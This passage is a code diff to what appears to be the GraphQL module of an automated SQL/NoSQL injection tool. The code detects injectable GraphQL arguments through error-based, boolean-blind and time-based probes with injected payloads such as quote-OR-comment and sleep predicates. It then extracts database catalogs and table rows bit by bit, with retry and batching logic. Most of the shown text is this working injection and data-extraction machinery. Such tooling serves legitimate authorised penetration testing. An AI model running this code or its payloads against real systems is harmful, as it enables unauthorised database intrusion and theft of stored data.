must NOT become an empty body: two failed "true" requests would be + # byte-identical (ratio 1.0) and "differ" from a succeeding false request -> a fabricated + # confirmation. Return None so the oracles (which reject None) can never decide on it. + logger.debug("GraphQL request failed: %s" % getUnicode(ex)) + return None, 0 finally: kb.postHint = oldPostHint + if blockedStatus(code): # WAF / rate-limit / 5xx is not a usable oracle sample + return None, code return page or "", code @@ -347,6 +445,29 @@ def _slotValue(page): return json.dumps(data, sort_keys=True) +def _hasErrors(page): + # True when the GraphQL envelope carries a non-empty `errors` array. A resolver error yields the + # SAME `data:null` as a genuine false predicate, so an error-bearing response is UNKNOWN for a + # boolean oracle - it must not be classified as a false bit (that would fabricate an oracle / + # corrupt extraction). HTTP status is 200 in this case, so only the envelope reveals it. + doc = _parseJSON(page) + return isinstance(doc, dict) and bool(doc.get("errors")) + + +def _aliasErrored(page, alias): + # True when a batched response reports a GraphQL error whose `path` starts at `alias` (that alias's + # value is unknown, not a clean false), or when the alias key is absent from `data`. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return True + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if isinstance(path, list) and path and path[0] == alias: + return True + data = doc.get("data") + return not (isinstance(data, dict) and alias in data) + + # --- Endpoint detection ----------------------------------------------------- def _detectEndpoint(baseUrl, probePaths=True): @@ -479,6 +600,7 @@ def _extractSlots(schema): # scalar/injectable argument as a Slot _inputFields.clear() + _enumValues.clear() slots = [] typeByName = {} @@ -490,6 +612,8 @@ def _extractSlots(schema): (f["name"], f.get("type", {}), f.get("defaultValue")) for f in (t.get("inputFields") or []) ] + elif t.get("kind") == "ENUM": + _enumValues[t["name"]] = [e["name"] for e in (t.get("enumValues") or []) if e.get("name")] queryName = (schema.get("queryType") or {}).get("name") mutationName = (schema.get("mutationType") or {}).get("name") @@ -541,6 +665,57 @@ def _extractSlots(schema): return slots +# Mutation field-name heuristics: read-like mutations (login/verify/token/...) are safe to probe first; +# write-like ones (create/update/delete/...) are ranked last so a usable oracle is usually found on a +# non-persisting resolver before any write-like field is touched. +_READ_LIKE_MUTATIONS = ("login", "authenticate", "auth", "verify", "validate", "preview", "check", + "token", "signin", "session", "lookup", "search", "get", "fetch", "read", "resolve") +_WRITE_LIKE_MUTATIONS = ("create", "update", "delete", "insert", "save", "set", "add", "remove", + "register", "upsert", "destroy", "modify", "edit", "write", "put", "patch", "drop") +# argument names that request a non-persisting / dry-run execution - forced true when present so an +# automatic mutation probe avoids committing +_DRYRUN_ARGS = ("dryrun", "dry_run", "preview", "simulate", "validateonly", "validate_only", "noop", "no_op") + + +def _mutationTokens(fieldName): + # split camelCase and snake/kebab/space so a mixed name (updateUserPreview) yields distinct tokens + # (['update','user','preview']) - a read-like substring must NOT mask a write-like one hidden in the + # same name. + spaced = re.sub(r"([a-z0-9])([A-Z])", r"\1 \2", getUnicode(fieldName)) + return [t for t in re.split(r"[^A-Za-z0-9]+", spaced.lower()) if t] + + +def _mutationImpact(fieldName): + # WRITE-like WINS: any name whose tokens contain a write keyword is write-like, even if it also + # contains a read-like one (updateUserPreview / previewDeleteUser / getAndDeleteUser / createSession). + # Only a name with NO write token and at least one read token is read-like; anything else is unknown. + tokens = _mutationTokens(fieldName) + matches = lambda kws: any(any(kw in tok for kw in kws) for tok in tokens) + if matches(_WRITE_LIKE_MUTATIONS): + return "write-like" + if matches(_READ_LIKE_MUTATIONS): + return "read-like" + return "unknown" + + +def _rankMutations(slots): + order = {"read-like": 0, "unknown": 1, "write-like": 2} + return sorted(slots, key=lambda s: order[_mutationImpact(s.fieldName)]) + + +def _dryRunVerified(slot, endpoint): + """Whether this write-like mutation's NON-PERSISTENCE is automatically PROVEN, so it may be used as + the bulk blind-enumeration transport (hundreds/thousands of executions). Forcing an argument named + dryRun/preview true is NOT proof - a resolver may ignore, invert, or repurpose the name. A sound + proof needs an observed side-effect check (a schema-backed validate-only result that confirms no + commit, a rollback/transaction id, a distinct preview result type, or a compensating rollback), none + of which can be established reliably from introspection alone here. Returning False keeps write-like + mutations DETECTED and REPORTED but off the bulk-enumeration path - the conservative, honest default; + it is the hook to wire a real behavioural dry-run confirmation when the schema/environment supports + one.""" + return False + + def _isInputObject(typeObj, typeByName): name = _leafName(_unwrapType(typeObj)) if not name: @@ -550,17 +725,27 @@ def _isInputObject(typeObj, typeByName): def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, - returnKind, returnType, returnSel, typeByName, slots): - # Recurse one level into an input object's fields + returnKind, returnType, returnSel, typeByName, slots, _depth=0, _seen=None): + # Recurse into an input object to ARBITRARY depth, emitting a Slot for every scalar leaf reachable + # by a dotted path (input.filter.credentials.username). Bounded by depth and a visited-type set so a + # self-/mutually-recursive input schema cannot loop forever. inputType = _isInputObject(typeObj, typeByName) - if not inputType: + if not inputType or _depth > 5: return + typeName = _leafName(_unwrapType(typeObj)) + _seen = _seen or set() + if typeName in _seen: + return + _seen = _seen | {typeName} for fld in (inputType.get("inputFields") or []): + path = "%s.%s" % (argName, fld["name"]) strategy = _classifyArg(fld.get("type", {})) if strategy: slots.append(Slot(op, rootName, fieldName, allArgs, - "%s.%s" % (argName, fld["name"]), strategy, - returnKind, returnType, returnSel)) + path, strategy, returnKind, returnType, returnSel)) + elif _isInputObject(fld.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, path, fld.get("type", {}), + returnKind, returnType, returnSel, typeByName, slots, _depth + 1, _seen) def _scalarFields(objType, typeByName, depth=0): @@ -602,14 +787,21 @@ def _fieldFragment(slot, value, alias=None): for argName, argType, default in slot.allArgs: if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): if "." in slot.targetArg: - outer, inner = slot.targetArg.split(".", 1) + # target is a path into a (possibly deeply) nested input object: render the whole + # containing tree down to the injected leaf, e.g. input:{filter:{credentials:{username:VALUE}}} + outer = slot.targetArg.split(".")[0] if argName == outer: - renderedArgs.append("%s: {%s}" % (outer, _renderInputObj(slot, value))) + outerType = _leafName(_unwrapType(argType)) + rest = slot.targetArg.split(".")[1:] + renderedArgs.append("%s: {%s}" % (outer, _renderInputPath(outerType, rest, value, slot.strategy))) continue renderedArgs.append(_renderArg(argName, value, slot.strategy)) + elif argName.lower().replace("-", "_") in _DRYRUN_ARGS and _leafName(_unwrapType(argType)) == "Boolean": + renderedArgs.append("%s:true" % argName) # force a dry-run/no-op flag so a mutation probe avoids committing else: - siblingStrategy = _classifyArg(argType) or "string" - renderedArgs.append(_renderArg(argName, _defaultForArg(argType, default), siblingStrategy)) + sibling = _renderSibling(argName, argType, default) + if sibling is not None: # None => optional arg with no default -> omitted + renderedArgs.append(sibling) sel = slot.returnSel if sel is None: @@ -655,72 +847,134 @@ def _renderArg(name, value, strategy): return '%s:"%s"' % (name, _escapeGraphQLString(value)) -def _renderInputObj(slot, value): - # Render an input-object literal with the target inner field set to `value` - # and all required sibling fields filled with safe defaults - _, inner = slot.targetArg.split(".", 1) - - outerArg = slot.targetArg.split(".")[0] - inputFields = [] - for aName, aType, aDefault in slot.allArgs: - if aName == outerArg: - objName = _leafName(_unwrapType(aType)) - if objName: - inputFields = _inputFields.get(objName, []) - break - +def _renderInputPath(inputTypeName, pathParts, value, strategy, _seen=None): + """Render the body of an input-object literal for `inputTypeName`, placing `value` at the field path + `pathParts` (one or more levels deep) and filling required sibling fields with synthesized defaults. + Descends recursively into nested input objects - e.g. path ['filter','credentials','username'] yields + `filter:{credentials:{username:VALUE}}` alongside any required siblings at each level. Depth/cycle + bounded via `_seen`.""" + _seen = _seen or set() + fields = _inputFields.get(inputTypeName, []) + target = pathParts[0] if pathParts else None parts = [] - for fldName, fldType, fldDefault in inputFields: - if fldName == inner: - fldStrategy = _classifyArg(fldType) or "string" - parts.append(_renderArg(inner, value, fldStrategy)) + for fldName, fldType, fldDefault in fields: + if fldName == target: + if len(pathParts) == 1: # leaf: the injected value goes here + parts.append(_renderArg(fldName, value, _classifyArg(fldType) or strategy or "string")) + else: # descend into the nested input object + innerName = _leafName(_unwrapType(fldType)) + if innerName and innerName not in _seen: + parts.append("%s:{%s}" % (fldName, _renderInputPath(innerName, pathParts[1:], value, strategy, _seen | {innerName}))) + else: + parts.append("%s:{}" % fldName) # cycle / unknown inner type -> best-effort empty else: - fldStrategy = _classifyArg(fldType) or "string" - parts.append(_renderArg(fldName, _defaultForArg(fldType, fldDefault), fldStrategy)) + sibling = _renderSibling(fldName, fldType, fldDefault) + if sibling is not None: # omit optional input-object fields with no default + parts.append(sibling) return ", ".join(parts) -def _defaultForArg(argType, default): - # Return a safe GraphQL default value for a field argument: the schema - # default if present, otherwise a type-appropriate sentinel - if default is not None: - return default - strategy = _classifyArg(argType) +def _leafKind(chain): + # kind of the innermost NAMED type in an unwrapped type chain (SCALAR / ENUM / INPUT_OBJECT / ...) + for kind, name in reversed(chain): + if name: + return kind + return None + + +def _nativeSentinel(argType, depth=0, seen=None): + # Synthesize a REQUIRED argument's value in NATIVE GraphQL syntax by type kind. A one-size sentinel + # (`0`/`"x"`) is invalid for Boolean/Enum/List/input-object and makes the whole query fail to parse, + # so resolver execution (and thus injection) is never reached. A list wrapper takes an empty list + # (valid for a NON_NULL list); a bool is `false`; an int/float is `0`; an enum is a bare enum + # identifier (first schema value). A required INPUT_OBJECT is built RECURSIVELY - its required inner + # fields are populated (schema defaults verbatim, else synthesized) so a nested-required schema like + # SearchInput!{ filter: FilterInput!{ term: String! } } yields a VALID benign query instead of a + # bare `{}` the server rejects. Recursion is bounded by depth and a visited-type set (cycle safety). + chain = _unwrapType(argType) + if any(kind == "LIST" for kind, _ in chain): + return "[]" + named = _leafName(chain) + kind = _leafKind(chain) + if kind == "ENUM": + values = _enumValues.get(named) or [] + return values[0] if values else '"x"' # bare enum identifier, not a quoted string + if kind == "INPUT_OBJECT": + seen = seen or set() + if depth >= 5 or named in seen: # bound depth / break recursive input-type cycles + return "{}" + seen = seen | {named} + parts = [] + for fName, fType, fDefault in _inputFields.get(named, []): + if fDefault is not None: + parts.append("%s:%s" % (fName, fDefault)) # schema default is a literal - verbatim + elif (fType or {}).get("kind") == "NON_NULL": # populate ONLY required inner fields + parts.append("%s:%s" % (fName, _nativeSentinel(fType, depth + 1, seen))) + return "{%s}" % ", ".join(parts) + strategy = SCALAR_STRATEGY.get(named) if strategy == "numeric": - return 0 - return "x" + return "0" + if named == "Boolean": + return "false" + return '"x"' + + +def _renderSibling(name, argType, default): + # Render a sibling argument we are NOT injecting into. Returns None to OMIT the argument (the caller + # drops it). An OPTIONAL argument with no schema default is OMITTED rather than filled with a bogus + # sentinel - filling e.g. an optional Boolean/Enum/List with `"x"` made the whole query invalid and + # caused widespread false negatives (resolver execution never reached). A schema-provided + # defaultValue is ALREADY a serialized GraphQL literal per the introspection spec (bool `true`, enum + # `ADMIN` unquoted, list `[1, 2]`, object `{a: 1}`, null, number, or a quoted string) and is emitted + # VERBATIM (never re-quoted). A REQUIRED (NON_NULL) argument with no default is synthesized in native + # syntax by kind (see _nativeSentinel). + if default is not None: + return "%s:%s" % (name, default) + if (argType or {}).get("kind") != "NON_NULL": + return None # optional + no default -> omit it + return "%s:%s" % (name, _nativeSentinel(argType)) # --- Detection -------------------------------------------------------------- def _detectError(slot, endpoint): - # Error-based detection: inject SQL/NoSQL error-inducing payloads and check - # whether the GraphQL `errors` envelope carries a known DBMS signature + # Error-based detection with a NEGATIVE CONTROL. A GraphQL endpoint can already return a DBMS + # exception for reasons unrelated to our probe (e.g. a required argument we rendered incorrectly), + # so a raw "signature present in the injected response" test declares injectable regardless of + # influence. Require the signature to be ABSENT from a benign baseline, appear only AFTER the + # injected value, and REPRODUCE before accepting it. + benign = _buildQuery(slot, "1") + basePage = _gqlSend(endpoint, benign)[0] if benign else None + baseErr = _errorText(basePage) or "" + + def _appearsOnlyAfterInjection(query, matcher): + # matcher(text) -> re.Match or None; True only if it hits the injected response, is absent + # from the benign baseline, and reproduces on a second injected request + err = _errorText(_gqlSend(endpoint, query)[0]) + if not err or not matcher(err) or matcher(baseErr): + return None + err2 = _errorText(_gqlSend(endpoint, query)[0]) + return matcher(err) if (err2 and matcher(err2)) else None for payload in _SQL_ERROR_PAYLOADS: query = _buildQuery(slot, payload) if not query: continue - page, code = _gqlSend(endpoint, query) - err = _errorText(page) - if not err: - continue for pattern in ERROR_PARSING_REGEXES: - m = re.search(pattern, err) + m = _appearsOnlyAfterInjection(query, lambda t, p=pattern: re.search(p, t)) if m: - return "error-based", m.group("result") if "result" in m.groupdict() else err[:200] + detail = m.group("result") if "result" in m.groupdict() else _errorText(_gqlSend(endpoint, query)[0])[:200] + return "error-based", detail, payload - # Try NoSQL error signatures for payload in (_NOSQL_NE, _NOSQL_IN): query = _buildQuery(slot, payload) if not query: continue - page, code = _gqlSend(endpoint, query) - err = _errorText(page) - if err and re.search(NOSQL_ERROR_REGEX, err): - return "error-based", err[:200] + m = _appearsOnlyAfterInjection(query, lambda t: re.search(NOSQL_ERROR_REGEX, t)) + if m: + return "nosql-error-based", (_errorText(_gqlSend(endpoint, query)[0]) or "")[:200], payload - return None, None + return None, None, None def _detectBoolean(slot, endpoint): @@ -728,30 +982,48 @@ def _detectBoolean(slot, endpoint): # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. if slot.strategy == "numeric": - return None, None + return None, None, None trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) if not trueQuery or not falseQuery: - return None, None + return None, None, None truePage, _ = _gqlSend(endpoint, trueQuery) truePage2, _ = _gqlSend(endpoint, trueQuery) falsePage, _ = _gqlSend(endpoint, falseQuery) + falsePage2, _ = _gqlSend(endpoint, falseQuery) + + # a None page is a transport failure / blocked (WAF/5xx) sample - never an oracle observation. + # Rejecting it here stops the classic FP where two failed true requests are byte-identical and + # "differ" from a succeeding false request. + if any(p is None for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None + + # a GraphQL resolver ERROR yields the same `data:null` as a genuine false predicate, so a false + # payload that merely trips a stable resolver error would look like a boolean oracle. Reject any + # pair where either side carries `errors` - that case belongs to _detectError, not boolean. + if any(_hasErrors(p) for p in (truePage, truePage2, falsePage, falsePage2)): + return None, None, None trueVal = _slotValue(truePage) trueVal2 = _slotValue(truePage2) falseVal = _slotValue(falsePage) + falseVal2 = _slotValue(falsePage2) + + # BOTH sides must independently reproduce (not just the true side) + if _ratio(falseVal, falseVal2) < (1.0 - _MIN_RATIO_DIFF): + return None, None, None # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge # from the false response. A single true-vs-false compare turns page jitter into a # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) # rejects it, since a jittery page also fails to reproduce against itself. if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): - return "boolean-based blind (string)", truePage + return "boolean-based blind (string)", truePage, _SQL_BOOLEAN_TRUE - return None, None + return None, None, None def _detectTime(slot, endpoint): @@ -759,37 +1031,49 @@ def _detectTime(slot, endpoint): # elapsed time against a baseline. Returns (oracleType, threshold, dbms). if slot.strategy == "numeric": - return None, None, None + return None, None, None, None baseQuery = _buildQuery(slot, "x") if not baseQuery: - return None, None, None + return None, None, None, None def elapsed(query): + # return (seconds, usable): a blocked/5xx/transport-failed response is NOT a usable timing + # sample, so a slow WAF block cannot establish a time-based finding here (the same + # blocked/transport rule the extraction oracle applies). start = time.time() - _gqlSend(endpoint, query) - return time.time() - start + page, code = _gqlSend(endpoint, query) + dt = time.time() - start + return dt, (page is not None and not blockedStatus(code)) - baseline = elapsed(baseQuery) + baseDt, baseUsable = elapsed(baseQuery) + if not baseUsable: + return None, None, None, None delay = conf.timeSec - cutoff = baseline + delay * 0.5 + cutoff = baseDt + delay * 0.5 + + def slow(query): # a CONFIRMED slow, USABLE response + dt, usable = elapsed(query) + return usable and dt > cutoff for dbms, dialect in DIALECTS.items(): if not dialect.delay: continue - sleepQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) - if not sleepQuery or elapsed(sleepQuery) <= cutoff: + sleepValue = "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay)) + sleepQuery = _buildQuery(slot, sleepValue) + if not sleepQuery or not slow(sleepQuery): continue - # Confirm before attributing: the delay must REPRODUCE and a false-condition - # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint - # into a false positive and can pin the wrong dialect; requiring the delay to - # track the condition rules both out. + # Confirm before attributing: the delay must REPRODUCE (usable+slow) and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint into a false + # positive and can pin the wrong dialect; requiring the delay to track the condition rules both + # out. A blocked slow response is rejected by `slow()` (usable gate). controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) - if elapsed(sleepQuery) > cutoff and (controlQuery is None or elapsed(controlQuery) <= cutoff): - return "time-based blind", cutoff, dbms + controlDt, controlUsable = elapsed(controlQuery) if controlQuery else (0, True) + if slow(sleepQuery) and (controlQuery is None or (controlUsable and controlDt <= cutoff)): + return "time-based blind", cutoff, dbms, sleepValue - return None, None, None + return None, None, None, None # --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- @@ -807,54 +1091,119 @@ def _payload(condition): return "%s' OR (%s)-- " % (SENTINEL, condition) if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: - # Timing oracle: a per-document sleep fires only when `condition` holds. Batching - # would serialise the sleeps and inflate every request, so it is not offered here. + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching would serialise + # the sleeps and inflate every request, so it is not offered here. A single measurement against a + # fixed threshold turns jitter into wrong bits over a long dump, so classify with repeated + # samples: a clear fast/slow reading decides immediately; a reading near the threshold is + # RE-SAMPLED, and persistent ambiguity aborts the value (InconclusiveError) rather than guessing. delay = DIALECTS[dbmsHint].delay - def truth(condition): + def _elapsed(condition): query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) if not query: - return False + return None start = time.time() - _gqlSend(endpoint, query) - return (time.time() - start) > threshold + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): # transport failure/block is UNKNOWN, not "fast" + return None + return time.time() - start + + def truth(condition): + margin = max(0.5, conf.timeSec * 0.25) # ambiguity band around the threshold + for _attempt in range(3): + dt = _elapsed(condition) + if dt is None: + continue # re-sample a failed/blocked reading + if dt > threshold + margin: + return True + if dt < threshold - margin: + return False + # NEAR the threshold: a lone confirming sample deciding True/False would guess on an + # ambiguous pair, so loop and RE-SAMPLE; only a clear reading (above) decides, else the + # retries exhaust and the value aborts (InconclusiveError). A missing/low confirmation + # is NOT "False". + raise InconclusiveError() return truth, None - # Content oracle: capture the always-true template and require a clear true/false split + # Content oracle: calibrate BOTH the always-true and never-true models on the SAME extraction shape + # the bits use, and require a clear split between them. trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: return None, None def truth(condition): + # Tri-state: classify each bit against BOTH models with a margin, RE-SEND on an ambiguous read, + # and ABORT the value (InconclusiveError) on persistent ambiguity - never let a transport + # failure or a near-tie silently become a False bit that corrupts the extracted value. query = _buildQuery(slot, _payload(condition)) if not query: - return False - page, _ = _gqlSend(endpoint, query) - return _ratio(_slotValue(page), trueVal) > UPPER_RATIO_BOUND + raise InconclusiveError() + + def send(): + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code) or _hasErrors(page): + return None # a resolver ERROR is UNKNOWN, not a false bit + return _slotValue(page) + + return resolveBit(send(), trueVal, falseVal, send) def truthBatch(conditions): query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) if not query: - return [False] * len(conditions) - page, _ = _gqlSend(endpoint, query) - data = (_parseJSON(page) or {}).get("data") or {} - return [_ratio(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal) > UPPER_RATIO_BOUND - for alias in aliases] + raise InconclusiveError() + page, code = _gqlSend(endpoint, query) + if page is None or blockedStatus(code): + raise InconclusiveError() # a FAILED batch must NOT decay into a list of False bits + doc = _parseJSON(page) or {} + data = doc.get("data") + if not isinstance(data, dict): + raise InconclusiveError() + # A batch is trustworthy ONLY when every error is attributable to a specific alias via a + # non-empty path. A PATHLESS / global error (request-level, auth, middleware, unpathed resolver + # exception) affects the WHOLE batch, so it must invalidate every bit - not be ignored while the + # aliases (which may still be null) get classified as clean false observations. + for e in (doc.get("errors") or []): + path = e.get("path") if isinstance(e, dict) else None + if not (isinstance(path, list) and path): + raise InconclusiveError() # pathless/global error -> the entire batch is UNKNOWN + out = [] + for alias in aliases: + if alias not in data or _aliasErrored(page, alias): # absent or errored alias is UNKNOWN + raise InconclusiveError() + d = _decide(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal, falseVal) + if d is _Decision.INCONCLUSIVE: + raise InconclusiveError() # an ambiguous bit in a batch -> abort the value, don't guess + out.append(d is _Decision.TRUE) + return out # Sanity: the oracle must answer a known truth/falsehood correctly - if not (truth("1=1") and not truth("1=2")): + try: + if not (truth("1=1") and not truth("1=2")): + return None, None + except InconclusiveError: return None, None + # NEVER batch a MUTATION: _buildBatch aliases the field once per condition, so a single batched + # request would EXECUTE the write resolver many times. Aliased batching is a read-side speed-up + # only; a mutation extracts one condition per request (sequential), unless a verified dry-run/ + # rollback argument makes repeated execution non-persisting (not assumed here). + if slot.operation == "mutation": + return truth, None + return truth, truthBatch def _fingerprint(truth): - # Identify the back-end DBMS by probing each dialect's signature predicate + # Identify the back-end DBMS by probing each dialect's signature predicate. An inconclusive probe + # is not a match (and not a crash) - skip that dialect rather than abort the whole fingerprint. for dbms, dialect in DIALECTS.items(): - if truth(dialect.fingerprint): - return dbms + try: + if truth(dialect.fingerprint): + return dbms + except InconclusiveError: + continue return None @@ -892,30 +1241,35 @@ def _inferChar(truth, dialect, expr, pos): def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): # Recover the string value of SQL expression `expr` one character at a time: # binary-search the length, then each character via _inferChar (printable-fast, - # widening to full Unicode for non-ASCII). + # widening to full Unicode for non-ASCII). A persistently-inconclusive bit aborts the + # value (returns None) rather than being coerced to a wrong length/char. lengthExpr = dialect.length(expr) - if not truth("%s>0" % lengthExpr): - return "" if truth("%s=0" % lengthExpr) else None - - length, probe = 1, 2 - while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): - length, probe = probe, probe * 2 - low, high = length, min(probe, maxLen + 1) - while low + 1 < high: - mid = (low + high) // 2 - if truth("%s>=%d" % (lengthExpr, mid)): - low = mid - else: - high = mid - length = low - - if length >= maxLen: - logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) - - value = "" - for pos in xrange(1, length + 1): - value += _inferChar(truth, dialect, expr, pos) + try: + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + + value = "" + for pos in xrange(1, length + 1): + value += _inferChar(truth, dialect, expr, pos) + except InconclusiveError: + logger.warning("GraphQL blind extraction aborted for a value (oracle inconclusive after retries)") + return None return value @@ -928,70 +1282,99 @@ def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. lengthExpr = dialect.length(expr) - length = 0 - for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): - results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) - hits = [n for n, ok in zip(chunk, results) if ok] - if hits: - length = max(length, max(hits)) - if not all(results): # monotone predicate: no longer length can be true beyond here - break - if length == 0: - return "" - - conditions, index = [], [] - for pos in xrange(1, length + 1): - for bit in xrange(7): - conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) - index.append((pos, bit)) - conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) - index.append((pos, "hi")) - - codes, wide = {}, set() - flat = [] - for chunk in _chunks(conditions, BATCH_SIZE): - flat.extend(truthBatch(chunk)) - for (pos, bit), ok in zip(index, flat): - if bit == "hi": - if ok: - wide.add(pos) - elif ok: - codes[pos] = codes.get(pos, 0) | (1 << bit) - - value = "" - for pos in xrange(1, length + 1): - if pos in wide: - value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery - else: - code = codes.get(pos, 0) - value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + try: + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) + + codes, wide = {}, set() + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if bit == "hi": + if ok: + wide.add(pos) + elif ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + except InconclusiveError: + # a failed/ambiguous batch must abort the value, not silently yield a run of false bits + logger.warning("GraphQL batched extraction aborted for a value (oracle inconclusive)") + return None return value def _inferrer(truth, truthBatch, dialect): # Pick batched inference when the back-end honours aliased batching (verified # with a known true/false pair), else fall back to sequential bisection - if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: - logger.info("using aliased query batching to accelerate blind extraction") - return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + if truthBatch: + try: + if truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + except InconclusiveError: + pass # batching calibration was ambiguous -> use sequential bisection return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) -def _catList(infer, dialect, col, fromClause): +def _inferCount(infer, expr, label): + # Recover a COUNT(*). Distinguish an INCONCLUSIVE oracle (`infer` returns None) from a genuine + # numeric answer: an inconclusive count must NOT collapse to 0 (which would present an unavailable + # catalog/table as a confirmed-empty one). Returns an int, or None when the count is unknown. + raw = infer("(SELECT COUNT(*) %s)" % expr) + if raw is None: + logger.warning("%s count is inconclusive (oracle unavailable); result may be incomplete" % label) + return None + raw = raw.strip() + if raw.isdigit(): + return int(raw) + # a NON-NUMERIC / corrupted count is UNKNOWN, not a confirmed empty catalog/table -> None (partial), + # never 0 (which would present an unavailable result as "no rows") + logger.warning("%s count came back non-numeric (%r); treating as inconclusive, not empty" % (label, raw[:32])) + return None + + +def _catList(infer, dialect, col, fromClause, label="catalog"): # Enumerate a catalog name list (tables or a table's columns) one entry at a time by # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate # (e.g. MySQL group_concat_max_len=1024) can't drop names. - try: - count = int((infer("(SELECT COUNT(*) %s)" % fromClause) or "").strip()) - except ValueError: - count = 0 + count = _inferCount(infer, fromClause, label) + if count is None: + return None # UNKNOWN (not empty) - caller must not report "0 names" - names = [] + names, missing = [], 0 for offset in xrange(min(count, DUMP_MAX_ROWS)): name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) - if name: + if name is None: + missing += 1 # inconclusive name (NOT a genuine empty) - count it + elif name: names.append(name) + if missing: + logger.warning("%s: %d of %d name(s) were inconclusive and omitted" % (label, missing, min(count, DUMP_MAX_ROWS))) if count > DUMP_MAX_ROWS: logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) @@ -1003,24 +1386,25 @@ def _dumpTable(infer, dialect, table): # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row # extraction has no such cap. - columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table)) - if not columns: + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table), label="table '%s' columns" % table) + if not columns: # None (inconclusive) or [] (genuinely no columns) return None - countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) - try: - count = int((countRaw or "").strip()) - except ValueError: - count = 0 + count = _inferCount(infer, "FROM %s" % dialect.fromIdent(table), "table '%s'" % table) + if count is None: + return None # UNKNOWN row count - do NOT present as an empty table - rows = [] + rows, missing = [], 0 for offset in xrange(min(count, DUMP_MAX_ROWS)): raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) if raw is None: + missing += 1 # inconclusive row (NOT skipped-as-empty) - count it continue cells = raw.split(COL_SEP) rows.append((cells + [""] * len(columns))[:len(columns)]) 